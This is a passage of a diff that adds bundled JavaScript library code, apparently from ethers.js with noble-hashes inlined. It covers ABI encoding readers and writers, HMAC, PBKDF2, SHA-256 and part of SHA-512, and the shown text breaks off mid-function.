error: error }); + } + } + }; + checkErrors([], result); + return errors; +} +function getValue$1(value) { + let bytes = toBeArray(value); + assert(bytes.length <= WordSize, "value out-of-bounds", "BUFFER_OVERRUN", { buffer: bytes, length: WordSize, offset: bytes.length }); + if (bytes.length !== WordSize) { + bytes = getBytesCopy(concat([Padding.slice(bytes.length % WordSize), bytes])); + } + return bytes; +} +/** + * @_ignore + */ +class Coder { + // The coder name: + // - address, uint256, tuple, array, etc. + name; + // The fully expanded type, including composite types: + // - address, uint256, tuple(address,bytes), uint256[3][4][], etc. + type; + // The localName bound in the signature, in this example it is "baz": + // - tuple(address foo, uint bar) baz + localName; + // Whether this type is dynamic: + // - Dynamic: bytes, string, address[], tuple(boolean[]), etc. + // - Not Dynamic: address, uint256, boolean[3], tuple(address, uint8) + dynamic; + constructor(name, type, localName, dynamic) { + defineProperties(this, { name, type, localName, dynamic }, { + name: "string", type: "string", localName: "string", dynamic: "boolean" + }); + } + _throwError(message, value) { + assertArgument(false, message, this.localName, value); + } +} +/** + * @_ignore + */ +class Writer { + // An array of WordSize lengthed objects to concatenation + #data; + #dataLength; + constructor() { + this.#data = []; + this.#dataLength = 0; + } + get data() { + return concat(this.#data); + } + get length() { return this.#dataLength; } + #writeData(data) { + this.#data.push(data); + this.#dataLength += data.length; + return data.length; + } + appendWriter(writer) { + return this.#writeData(getBytesCopy(writer.data)); + } + // Arrayish item; pad on the right to *nearest* WordSize + writeBytes(value) { + let bytes = getBytesCopy(value); + const paddingOffset = bytes.length % WordSize; + if (paddingOffset) { + bytes = getBytesCopy(concat([bytes, Padding.slice(paddingOffset)])); + } + return this.#writeData(bytes); + } + // Numeric item; pad on the left *to* WordSize + writeValue(value) { + return this.#writeData(getValue$1(value)); + } + // Inserts a numeric place-holder, returning a callback that can + // be used to asjust the value later + writeUpdatableValue() { + const offset = this.#data.length; + this.#data.push(Padding); + this.#dataLength += WordSize; + return (value) => { + this.#data[offset] = getValue$1(value); + }; + } +} +/** + * @_ignore + */ +class Reader { + // Allows incomplete unpadded data to be read; otherwise an error + // is raised if attempting to overrun the buffer. This is required + // to deal with an old Solidity bug, in which event data for + // external (not public thoguh) was tightly packed. + allowLoose; + #data; + #offset; + #bytesRead; + #parent; + #maxInflation; + constructor(data, allowLoose, maxInflation) { + defineProperties(this, { allowLoose: !!allowLoose }); + this.#data = getBytesCopy(data); + this.#bytesRead = 0; + this.#parent = null; + this.#maxInflation = (maxInflation != null) ? maxInflation : 1024; + this.#offset = 0; + } + get data() { return hexlify(this.#data); } + get dataLength() { return this.#data.length; } + get consumed() { return this.#offset; } + get bytes() { return new Uint8Array(this.#data); } + #incrementBytesRead(count) { + if (this.#parent) { + return this.#parent.#incrementBytesRead(count); + } + this.#bytesRead += count; + // Check for excessive inflation (see: #4537) + assert(this.#maxInflation < 1 || this.#bytesRead <= this.#maxInflation * this.dataLength, `compressed ABI data exceeds inflation ratio of ${this.#maxInflation} ( see: https:/\/github.com/ethers-io/ethers.js/issues/4537 )`, "BUFFER_OVERRUN", { + buffer: getBytesCopy(this.#data), offset: this.#offset, + length: count, info: { + bytesRead: this.#bytesRead, + dataLength: this.dataLength + } + }); + } + #peekBytes(offset, length, loose) { + let alignedLength = Math.ceil(length / WordSize) * WordSize; + if (this.#offset + alignedLength > this.#data.length) { + if (this.allowLoose && loose && this.#offset + length <= this.#data.length) { + alignedLength = length; + } + else { + assert(false, "data out-of-bounds", "BUFFER_OVERRUN", { + buffer: getBytesCopy(this.#data), + length: this.#data.length, + offset: this.#offset + alignedLength + }); + } + } + return this.#data.slice(this.#offset, this.#offset + alignedLength); + } + // Create a sub-reader with the same underlying data, but offset + subReader(offset) { + const reader = new Reader(this.#data.slice(this.#offset + offset), this.allowLoose, this.#maxInflation); + reader.#parent = this; + return reader; + } + // Read bytes + readBytes(length, loose) { + let bytes = this.#peekBytes(0, length, !!loose); + this.#incrementBytesRead(length); + this.#offset += bytes.length; + // @TODO: Make sure the length..end bytes are all 0? + return bytes.slice(0, length); + } + // Read a numeric values + readValue() { + return toBigInt(this.readBytes(WordSize)); + } + readIndex() { + return toNumber(this.readBytes(WordSize)); + } +} + +function number(n) { + if (!Number.isSafeInteger(n) || n < 0) + throw new Error(`Wrong positive integer: ${n}`); +} +function bytes(b, ...lengths) { + if (!(b instanceof Uint8Array)) + throw new Error('Expected Uint8Array'); + if (lengths.length > 0 && !lengths.includes(b.length)) + throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`); +} +function hash(hash) { + if (typeof hash !== 'function' || typeof hash.create !== 'function') + throw new Error('Hash should be wrapped by utils.wrapConstructor'); + number(hash.outputLen); + number(hash.blockLen); +} +function exists(instance, checkFinished = true) { + if (instance.destroyed) + throw new Error('Hash instance has been destroyed'); + if (checkFinished && instance.finished) + throw new Error('Hash#digest() has already been called'); +} +function output(out, instance) { + bytes(out); + const min = instance.outputLen; + if (out.length < min) { + throw new Error(`digestInto() expects output buffer of length at least ${min}`); + } +} + +const crypto$1 = typeof globalThis === 'object' && 'crypto' in globalThis ? globalThis.crypto : undefined; + +/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. +// node.js versions earlier than v19 don't declare it in global scope. +// For node.js, package.json#exports field mapping rewrites import +// from `crypto` to `cryptoNode`, which imports native module. +// Makes the utils un-importable in browsers without a bundler. +// Once node.js 18 is deprecated, we can just drop the import. +const u8a$1 = (a) => a instanceof Uint8Array; +const u32 = (arr) => new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4)); +// Cast array to view +const createView = (arr) => new DataView(arr.buffer, arr.byteOffset, arr.byteLength); +// The rotate right (circular right shift) operation for uint32 +const rotr = (word, shift) => (word << (32 - shift)) | (word >>> shift); +// big-endian hardware is rare. Just in case someone still decides to run hashes: +// early-throw an error because we don't support BE yet. +const isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44; +if (!isLE) + throw new Error('Non little-endian hardware is not supported'); +// There is no setImmediate in browser and setTimeout is slow. +// call of async fn will return Promise, which will be fullfiled only on +// next scheduler queue processing step and this is exactly what we need. +const nextTick = async () => { }; +// Returns control to thread each 'tick' ms to avoid blocking +async function asyncLoop(iters, tick, cb) { + let ts = Date.now(); + for (let i = 0; i < iters; i++) { + cb(i); + // Date.now() is not monotonic, so in case if clock goes backwards we return return control too + const diff = Date.now() - ts; + if (diff >= 0 && diff < tick) + continue; + await nextTick(); + ts += diff; + } +} +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +function utf8ToBytes$1(str) { + if (typeof str !== 'string') + throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 +} +/** + * Normalizes (non-hex) string or Uint8Array to Uint8Array. + * Warning: when Uint8Array is passed, it would NOT get copied. + * Keep in mind for future mutable operations. + */ +function toBytes(data) { + if (typeof data === 'string') + data = utf8ToBytes$1(data); + if (!u8a$1(data)) + throw new Error(`expected Uint8Array, got ${typeof data}`); + return data; +} +/** + * Copies several Uint8Arrays into one. + */ +function concatBytes$1(...arrays) { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a$1(a)) + throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; +} +// For runtime check if class implements interface +class Hash { + // Safe version that clones internal state + clone() { + return this._cloneInto(); + } +} +const toStr = {}.toString; +function checkOpts(defaults, opts) { + if (opts !== undefined && toStr.call(opts) !== '[object Object]') + throw new Error('Options should be object or undefined'); + const merged = Object.assign(defaults, opts); + return merged; +} +function wrapConstructor(hashCons) { + const hashC = (msg) => hashCons().update(toBytes(msg)).digest(); + const tmp = hashCons(); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = () => hashCons(); + return hashC; +} +/** + * Secure PRNG. Uses `crypto.getRandomValues`, which defers to OS. + */ +function randomBytes$2(bytesLength = 32) { + if (crypto$1 && typeof crypto$1.getRandomValues === 'function') { + return crypto$1.getRandomValues(new Uint8Array(bytesLength)); + } + throw new Error('crypto.getRandomValues must be defined'); +} + +// HMAC (RFC 2104) +class HMAC extends Hash { + constructor(hash$1, _key) { + super(); + this.finished = false; + this.destroyed = false; + hash(hash$1); + const key = toBytes(_key); + this.iHash = hash$1.create(); + if (typeof this.iHash.update !== 'function') + throw new Error('Expected instance of class which extends utils.Hash'); + this.blockLen = this.iHash.blockLen; + this.outputLen = this.iHash.outputLen; + const blockLen = this.blockLen; + const pad = new Uint8Array(blockLen); + // blockLen can be bigger than outputLen + pad.set(key.length > blockLen ? hash$1.create().update(key).digest() : key); + for (let i = 0; i < pad.length; i++) + pad[i] ^= 0x36; + this.iHash.update(pad); + // By doing update (processing of first block) of outer hash here we can re-use it between multiple calls via clone + this.oHash = hash$1.create(); + // Undo internal XOR && apply outer XOR + for (let i = 0; i < pad.length; i++) + pad[i] ^= 0x36 ^ 0x5c; + this.oHash.update(pad); + pad.fill(0); + } + update(buf) { + exists(this); + this.iHash.update(buf); + return this; + } + digestInto(out) { + exists(this); + bytes(out, this.outputLen); + this.finished = true; + this.iHash.digestInto(out); + this.oHash.update(out); + this.oHash.digestInto(out); + this.destroy(); + } + digest() { + const out = new Uint8Array(this.oHash.outputLen); + this.digestInto(out); + return out; + } + _cloneInto(to) { + // Create new instance without calling constructor since key already in state and we don't know it. + to || (to = Object.create(Object.getPrototypeOf(this), {})); + const { oHash, iHash, finished, destroyed, blockLen, outputLen } = this; + to = to; + to.finished = finished; + to.destroyed = destroyed; + to.blockLen = blockLen; + to.outputLen = outputLen; + to.oHash = oHash._cloneInto(to.oHash); + to.iHash = iHash._cloneInto(to.iHash); + return to; + } + destroy() { + this.destroyed = true; + this.oHash.destroy(); + this.iHash.destroy(); + } +} +/** + * HMAC: RFC2104 message authentication code. + * @param hash - function that would be used e.g. sha256 + * @param key - message key + * @param message - message data + */ +const hmac = (hash, key, message) => new HMAC(hash, key).update(message).digest(); +hmac.create = (hash, key) => new HMAC(hash, key); + +// Common prologue and epilogue for sync/async functions +function pbkdf2Init(hash$1, _password, _salt, _opts) { + hash(hash$1); + const opts = checkOpts({ dkLen: 32, asyncTick: 10 }, _opts); + const { c, dkLen, asyncTick } = opts; + number(c); + number(dkLen); + number(asyncTick); + if (c < 1) + throw new Error('PBKDF2: iterations (c) should be >= 1'); + const password = toBytes(_password); + const salt = toBytes(_salt); + // DK = PBKDF2(PRF, Password, Salt, c, dkLen); + const DK = new Uint8Array(dkLen); + // U1 = PRF(Password, Salt + INT_32_BE(i)) + const PRF = hmac.create(hash$1, password); + const PRFSalt = PRF._cloneInto().update(salt); + return { c, dkLen, asyncTick, DK, PRF, PRFSalt }; +} +function pbkdf2Output(PRF, PRFSalt, DK, prfW, u) { + PRF.destroy(); + PRFSalt.destroy(); + if (prfW) + prfW.destroy(); + u.fill(0); + return DK; +} +/** + * PBKDF2-HMAC: RFC 2898 key derivation function + * @param hash - hash function that would be used e.g. sha256 + * @param password - password from which a derived key is generated + * @param salt - cryptographic salt + * @param opts - {c, dkLen} where c is work factor and dkLen is output message size + */ +function pbkdf2$1(hash, password, salt, opts) { + const { c, dkLen, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts); + let prfW; // Working copy + const arr = new Uint8Array(4); + const view = createView(arr); + const u = new Uint8Array(PRF.outputLen); + // DK = T1 + T2 + ⋯ + Tdklen/hlen + for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) { + // Ti = F(Password, Salt, c, i) + const Ti = DK.subarray(pos, pos + PRF.outputLen); + view.setInt32(0, ti, false); + // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc + // U1 = PRF(Password, Salt + INT_32_BE(i)) + (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u); + Ti.set(u.subarray(0, Ti.length)); + for (let ui = 1; ui < c; ui++) { + // Uc = PRF(Password, Uc−1) + PRF._cloneInto(prfW).update(u).digestInto(u); + for (let i = 0; i < Ti.length; i++) + Ti[i] ^= u[i]; + } + } + return pbkdf2Output(PRF, PRFSalt, DK, prfW, u); +} + +// Polyfill for Safari 14 +function setBigUint64(view, byteOffset, value, isLE) { + if (typeof view.setBigUint64 === 'function') + return view.setBigUint64(byteOffset, value, isLE); + const _32n = BigInt(32); + const _u32_max = BigInt(0xffffffff); + const wh = Number((value >> _32n) & _u32_max); + const wl = Number(value & _u32_max); + const h = isLE ? 4 : 0; + const l = isLE ? 0 : 4; + view.setUint32(byteOffset + h, wh, isLE); + view.setUint32(byteOffset + l, wl, isLE); +} +// Base SHA2 class (RFC 6234) +class SHA2 extends Hash { + constructor(blockLen, outputLen, padOffset, isLE) { + super(); + this.blockLen = blockLen; + this.outputLen = outputLen; + this.padOffset = padOffset; + this.isLE = isLE; + this.finished = false; + this.length = 0; + this.pos = 0; + this.destroyed = false; + this.buffer = new Uint8Array(blockLen); + this.view = createView(this.buffer); + } + update(data) { + exists(this); + const { view, buffer, blockLen } = this; + data = toBytes(data); + const len = data.length; + for (let pos = 0; pos < len;) { + const take = Math.min(blockLen - this.pos, len - pos); + // Fast path: we have at least one block in input, cast it to view and process + if (take === blockLen) { + const dataView = createView(data); + for (; blockLen <= len - pos; pos += blockLen) + this.process(dataView, pos); + continue; + } + buffer.set(data.subarray(pos, pos + take), this.pos); + this.pos += take; + pos += take; + if (this.pos === blockLen) { + this.process(view, 0); + this.pos = 0; + } + } + this.length += data.length; + this.roundClean(); + return this; + } + digestInto(out) { + exists(this); + output(out, this); + this.finished = true; + // Padding + // We can avoid allocation of buffer for padding completely if it + // was previously not allocated here. But it won't change performance. + const { buffer, view, blockLen, isLE } = this; + let { pos } = this; + // append the bit '1' to the message + buffer[pos++] = 0b10000000; + this.buffer.subarray(pos).fill(0); + // we have less than padOffset left in buffer, so we cannot put length in current block, need process it and pad again + if (this.padOffset > blockLen - pos) { + this.process(view, 0); + pos = 0; + } + // Pad until full block byte with zeros + for (let i = pos; i < blockLen; i++) + buffer[i] = 0; + // Note: sha512 requires length to be 128bit integer, but length in JS will overflow before that + // You need to write around 2 exabytes (u64_max / 8 / (1024**6)) for this to happen. + // So we just write lowest 64 bits of that value. + setBigUint64(view, blockLen - 8, BigInt(this.length * 8), isLE); + this.process(view, 0); + const oview = createView(out); + const len = this.outputLen; + // NOTE: we do division by 4 later, which should be fused in single op with modulo by JIT + if (len % 4) + throw new Error('_sha2: outputLen should be aligned to 32bit'); + const outLen = len / 4; + const state = this.get(); + if (outLen > state.length) + throw new Error('_sha2: outputLen bigger than state'); + for (let i = 0; i < outLen; i++) + oview.setUint32(4 * i, state[i], isLE); + } + digest() { + const { buffer, outputLen } = this; + this.digestInto(buffer); + const res = buffer.slice(0, outputLen); + this.destroy(); + return res; + } + _cloneInto(to) { + to || (to = new this.constructor()); + to.set(...this.get()); + const { blockLen, buffer, length, finished, destroyed, pos } = this; + to.length = length; + to.pos = pos; + to.finished = finished; + to.destroyed = destroyed; + if (length % blockLen) + to.buffer.set(buffer); + return to; + } +} + +// SHA2-256 need to try 2^128 hashes to execute birthday attack. +// BTC network is doing 2^67 hashes/sec as per early 2023. +// Choice: a ? b : c +const Chi = (a, b, c) => (a & b) ^ (~a & c); +// Majority function, true if any two inpust is true +const Maj = (a, b, c) => (a & b) ^ (a & c) ^ (b & c); +// Round constants: +// first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311) +// prettier-ignore +const SHA256_K = /* @__PURE__ */ new Uint32Array([ + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 +]); +// Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): +// prettier-ignore +const IV = /* @__PURE__ */ new Uint32Array([ + 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 +]); +// Temporary buffer, not used to store anything between runs +// Named this way because it matches specification. +const SHA256_W = /* @__PURE__ */ new Uint32Array(64); +class SHA256 extends SHA2 { + constructor() { + super(64, 32, 8, false); + // We cannot use array here since array allows indexing by variable + // which means optimizer/compiler cannot use registers. + this.A = IV[0] | 0; + this.B = IV[1] | 0; + this.C = IV[2] | 0; + this.D = IV[3] | 0; + this.E = IV[4] | 0; + this.F = IV[5] | 0; + this.G = IV[6] | 0; + this.H = IV[7] | 0; + } + get() { + const { A, B, C, D, E, F, G, H } = this; + return [A, B, C, D, E, F, G, H]; + } + // prettier-ignore + set(A, B, C, D, E, F, G, H) { + this.A = A | 0; + this.B = B | 0; + this.C = C | 0; + this.D = D | 0; + this.E = E | 0; + this.F = F | 0; + this.G = G | 0; + this.H = H | 0; + } + process(view, offset) { + // Extend the first 16 words into the remaining 48 words w[16..63] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) + SHA256_W[i] = view.getUint32(offset, false); + for (let i = 16; i < 64; i++) { + const W15 = SHA256_W[i - 15]; + const W2 = SHA256_W[i - 2]; + const s0 = rotr(W15, 7) ^ rotr(W15, 18) ^ (W15 >>> 3); + const s1 = rotr(W2, 17) ^ rotr(W2, 19) ^ (W2 >>> 10); + SHA256_W[i] = (s1 + SHA256_W[i - 7] + s0 + SHA256_W[i - 16]) | 0; + } + // Compression function main loop, 64 rounds + let { A, B, C, D, E, F, G, H } = this; + for (let i = 0; i < 64; i++) { + const sigma1 = rotr(E, 6) ^ rotr(E, 11) ^ rotr(E, 25); + const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const sigma0 = rotr(A, 2) ^ rotr(A, 13) ^ rotr(A, 22); + const T2 = (sigma0 + Maj(A, B, C)) | 0; + H = G; + G = F; + F = E; + E = (D + T1) | 0; + D = C; + C = B; + B = A; + A = (T1 + T2) | 0; + } + // Add the compressed chunk to the current hash value + A = (A + this.A) | 0; + B = (B + this.B) | 0; + C = (C + this.C) | 0; + D = (D + this.D) | 0; + E = (E + this.E) | 0; + F = (F + this.F) | 0; + G = (G + this.G) | 0; + H = (H + this.H) | 0; + this.set(A, B, C, D, E, F, G, H); + } + roundClean() { + SHA256_W.fill(0); + } + destroy() { + this.set(0, 0, 0, 0, 0, 0, 0, 0); + this.buffer.fill(0); + } +} +/** + * SHA2-256 hash function + * @param message - data that would be hashed + */ +const sha256$1 = /* @__PURE__ */ wrapConstructor(() => new SHA256()); + +const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1); +const _32n = /* @__PURE__ */ BigInt(32); +// We are not using BigUint64Array, because they are extremely slow as per 2022 +function fromBig(n, le = false) { + if (le) + return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) }; + return { h: Number((n >> _32n) & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 }; +} +function split$1(lst, le = false) { + let Ah = new Uint32Array(lst.length); + let Al = new Uint32Array(lst.length); + for (let i = 0; i < lst.length; i++) { + const { h, l } = fromBig(lst[i], le); + [Ah[i], Al[i]] = [h, l]; + } + return [Ah, Al]; +} +const toBig = (h, l) => (BigInt(h >>> 0) << _32n) | BigInt(l >>> 0); +// for Shift in [0, 32) +const shrSH = (h, _l, s) => h >>> s; +const shrSL = (h, l, s) => (h << (32 - s)) | (l >>> s); +// Right rotate for Shift in [1, 32) +const rotrSH = (h, l, s) => (h >>> s) | (l << (32 - s)); +const rotrSL = (h, l, s) => (h << (32 - s)) | (l >>> s); +// Right rotate for Shift in (32, 64), NOTE: 32 is special case. +const rotrBH = (h, l, s) => (h << (64 - s)) | (l >>> (s - 32)); +const rotrBL = (h, l, s) => (h >>> (s - 32)) | (l << (64 - s)); +// Right rotate for shift===32 (just swaps l&h) +const rotr32H = (_h, l) => l; +const rotr32L = (h, _l) => h; +// Left rotate for Shift in [1, 32) +const rotlSH = (h, l, s) => (h << s) | (l >>> (32 - s)); +const rotlSL = (h, l, s) => (l << s) | (h >>> (32 - s)); +// Left rotate for Shift in (32, 64), NOTE: 32 is special case. +const rotlBH = (h, l, s) => (l << (s - 32)) | (h >>> (64 - s)); +const rotlBL = (h, l, s) => (h << (s - 32)) | (l >>> (64 - s)); +// JS uses 32-bit signed integers for bitwise operations which means we cannot +// simple take carry out of low bit sum by shift, we need to use division. +function add(Ah, Al, Bh, Bl) { + const l = (Al >>> 0) + (Bl >>> 0); + return { h: (Ah + Bh + ((l / 2 ** 32) | 0)) | 0, l: l | 0 }; +} +// Addition with more than 2 elements +const add3L = (Al, Bl, Cl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0); +const add3H = (low, Ah, Bh, Ch) => (Ah + Bh + Ch + ((low / 2 ** 32) | 0)) | 0; +const add4L = (Al, Bl, Cl, Dl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0); +const add4H = (low, Ah, Bh, Ch, Dh) => (Ah + Bh + Ch + Dh + ((low / 2 ** 32) | 0)) | 0; +const add5L = (Al, Bl, Cl, Dl, El) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0) + (El >>> 0); +const add5H = (low, Ah, Bh, Ch, Dh, Eh) => (Ah + Bh + Ch + Dh + Eh + ((low / 2 ** 32) | 0)) | 0; +// prettier-ignore +const u64 = { + fromBig, split: split$1, toBig, + shrSH, shrSL, + rotrSH, rotrSL, rotrBH, rotrBL, + rotr32H, rotr32L, + rotlSH, rotlSL, rotlBH, rotlBL, + add, add3L, add3H, add4L, add4H, add5H, add5L, +}; + +// Round contants (first 32 bits of the fractional parts of the cube roots of the first 80 primes 2..409): +// prettier-ignore +const [SHA512_Kh, SHA512_Kl] = /* @__PURE__ */ (() => u64.split([ + '0x428a2f98d728ae22', '0x7137449123ef65cd', '0xb5c0fbcfec4d3b2f', '0xe9b5dba58189dbbc', + '0x3956c25bf348b538', '0x59f111f1b605d019', '0x923f82a4af194f9b', '0xab1c5ed5da6d8118', + '0xd807aa98a3030242', '0x12835b0145706fbe', '0x243185be4ee4b28c', '0x550c7dc3d5ffb4e2', + '0x72be5d74f27b896f', '0x80deb1fe3b1696b1', '0x9bdc06a725c71235', '0xc19bf174cf692694', + '0xe49b69c19ef14ad2', '0xefbe4786384f25e3', '0x0fc19dc68b8cd5b5', '0x240ca1cc77ac9c65', + '0x2de92c6f592b0275', '0x4a7484aa6ea6e483', '0x5cb0a9dcbd41fbd4', '0x76f988da831153b5', + '0x983e5152ee66dfab', '0xa831c66d2db43210', '0xb00327c898fb213f', '0xbf597fc7beef0ee4', + '0xc6e00bf33da88fc2', '0xd5a79147930aa725', '0x06ca6351e003826f', '0x142929670a0e6e70', + '0x27b70a8546d22ffc', '0x2e1b21385c26c926', '0x4d2c6dfc5ac42aed', '0x53380d139d95b3df', + '0x650a73548baf63de', '0x766a0abb3c77b2a8', '0x81c2c92e47edaee6', '0x92722c851482353b', + '0xa2bfe8a14cf10364', '0xa81a664bbc423001', '0xc24b8b70d0f89791', '0xc76c51a30654be30', + '0xd192e819d6ef5218', '0xd69906245565a910', '0xf40e35855771202a', '0x106aa07032bbd1b8', + '0x19a4c116b8d2d0c8', '0x1e376c085141ab53', '0x2748774cdf8eeb99', '0x34b0bcb5e19b48a8', + '0x391c0cb3c5c95a63', '0x4ed8aa4ae3418acb', '0x5b9cca4f7763e373', '0x682e6ff3d6b2b8a3', + '0x748f82ee5defb2fc', '0x78a5636f43172f60', '0x84c87814a1f0ab72', '0x8cc702081a6439ec', + '0x90befffa23631e28', '0xa4506cebde82bde9', '0xbef9a3f7b2c67915', '0xc67178f2e372532b', + '0xca273eceea26619c', '0xd186b8c721c0c207', '0xeada7dd6cde0eb1e', '0xf57d4f7fee6ed178', + '0x06f067aa72176fba', '0x0a637dc5a2c898a6', '0x113f9804bef90dae', '0x1b710b35131c471b', + '0x28db77f523047d84', '0x32caab7b40c72493', '0x3c9ebe0a15c9bebc', '0x431d67c49c100d4c', + '0x4cc5d4becb3e42b6', '0x597f299cfc657e2a', '0x5fcb6fab3ad6faec', '0x6c44198c4a475817' +].map(n => BigInt(n))))(); +// Temporary buffer, not used to store anything between runs +const SHA512_W_H = /* @__PURE__ */ new Uint32Array(80); +const SHA512_W_L = /* @__PURE__ */ new Uint32Array(80); +class SHA512 extends SHA2 { + constructor() { + super(128, 64, 16, false); + // We cannot use array here since array allows indexing by variable which means optimizer/compiler cannot use registers. + // Also looks cleaner and easier to verify with spec. + // Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0x6a09e667 | 0; + this.Al = 0xf3bcc908 | 0; + this.Bh = 0xbb67ae85 | 0; + this.Bl = 0x84caa73b | 0; + this.Ch = 0x3c6ef372 | 0; + this.Cl = 0xfe94f82b | 0; + this.Dh = 0xa54ff53a | 0; + this.Dl = 0x5f1d36f1 | 0; + this.Eh = 0x510e527f | 0; + this.El = 0xade682d1 | 0; + this.Fh = 0x9b05688c | 0; + this.Fl = 0x2b3e6c1f | 0; + this.Gh = 0x1f83d9ab | 0; + this.Gl = 0xfb41bd6b | 0; + this.Hh = 0x5be0cd19 | 0; + this.Hl = 0x137e2179 | 0; + } + // prettier-ignore + get() { + const { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + return [Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl]; + } + // prettier-ignore + set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl) { + this.Ah = Ah | 0; + this.Al = Al | 0; + this.Bh = Bh | 0; + this.Bl = Bl | 0; + this.Ch = Ch | 0; + this.Cl = Cl | 0; + this.Dh = Dh | 0; + this.Dl = Dl | 0; + this.Eh = Eh | 0; + this.El = El | 0; + this.Fh = Fh | 0; + this.Fl = Fl | 0; + this.Gh = Gh | 0; + this.Gl = Gl | 0; + this.Hh = Hh | 0; + this.Hl = Hl | 0; + } + process(view, offset) { + // Extend the first 16 words into the remaining 64 words w[16..79] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) { + SHA512_W_H[i] = view.getUint32(offset); + SHA512_W_L[i] = view.getUint32((offset += 4)); + } + for (let i = 16; i < 80; i++) { + // s0 := (w[i-15] rightrotate 1) xor (w[i-15] rightrotate 8) xor (w[i-15] rightshift 7) + const W15h = SHA512_W_H[i - 15] | 0; + const W15l = SHA512_W_L[i - 15] | 0; + const s0h = u64.rotrSH(W15h, W15l, 1) ^ u64.rotrSH(W15h, W15l, 8) ^ u64.shrSH(W15h, W15l, 7); + const s0l = u64.rotrSL(W15h, W15l, 1) ^ u64.rotrSL(W15h, W15l, 8) ^ u64.shrSL(W15h, W15l, 7); + // s1 := (w[i-2] rightrotate 19) xor (w[i-2] rightrotate 61) xor (w[i-2] rightshift 6) + const W2h = SHA512_W_H[i - 2] | 0; + const W2l = SHA512_W_L[i - 2] | 0; + const s1h = u64.rotrSH(W2h, W2l, 19) ^ u64.rotrBH(W2h, W2l, 61) ^ u64.shrSH(W2h, W2l, 6); + const s1l = u64.rotrSL(W2h, W2l, 19) ^ u64.rotrBL(W2h, W2l, 61) ^ u64.shrSL(W2h, W2l, 6); + // SHA256_W[i] = s0 + s1 + SHA256_W[i - 7] + SHA256_W[i - 16]; + const SUMl = u64.add4L(s0l, s1l, SHA512_W_L[i - 7], SHA512_W_L[i - 16]); + const SUMh = u64.add4H(SUMl, s0h, s1h, SHA512_W_H[i - 7], SHA512_W_H[i - 16]); + SHA512_W_H[i] = SUMh | 0; + SHA512_W_L[i] = SUMl | 0; + } + let { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + // Compression function main loop, 80 rounds + for (let i = 0; i < 80; i++) { + // S1 := (e rightrotate 14) xor (e rightrotate 18) xor (e rightrotate 41) + const sigma1h = u64.rotrSH(Eh, El, 14) ^ u64.rotrSH(Eh, El, 18) ^ u64.rotrBH(Eh, El, 41); + const sigma1l = u64.rotrSL(Eh, El, 14) ^ u64.rotrSL(Eh, El, 18) ^ u64.rotrBL(Eh, El, 41); + //const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const CHIh = (Eh & Fh) ^ (~Eh & Gh); + const CHIl = (El & Fl) ^ (~El & Gl); + // T1 = H + sigma1 + 